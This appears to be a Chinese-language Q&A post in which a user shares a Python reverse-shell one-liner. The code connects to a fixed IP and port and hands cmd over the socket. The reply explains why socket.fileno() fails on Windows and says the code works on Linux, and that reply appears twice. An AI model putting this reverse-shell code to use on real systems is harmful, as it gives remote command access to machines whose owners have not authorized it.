我想在我的服务器上获取我的Windows shell,我使用以下代码.
import socket,os,subprocess s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('10.9.9.25',10089)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(['cmd','/u']);
我收到了错误
OSError: [Errno 9] Bad file descriptor.
Iron Fist.. 5
如果你已经阅读了关于socket.fileno()
你的文档,你会知道这在Windows中不起作用,从Python文档引用:
socket.fileno()
返回套接字的文件描述符(一个小整数).这对select.select()非常有用.
在Windows下,此方法返回的小整数不能用于可以使用文件描述符的地方(例如os.fdopen()).Unix没有这个限制.
注意:
我已经在Ubuntu(Linux系统)中尝试过你的代码,它没有任何tweeking工作正常.
如果你已经阅读了关于socket.fileno()
你的文档,你会知道这在Windows中不起作用,从Python文档引用:
socket.fileno()
返回套接字的文件描述符(一个小整数).这对select.select()非常有用.
在Windows下,此方法返回的小整数不能用于可以使用文件描述符的地方(例如os.fdopen()).Unix没有这个限制.
注意:
我已经在Ubuntu(Linux系统)中尝试过你的代码,它没有任何tweeking工作正常.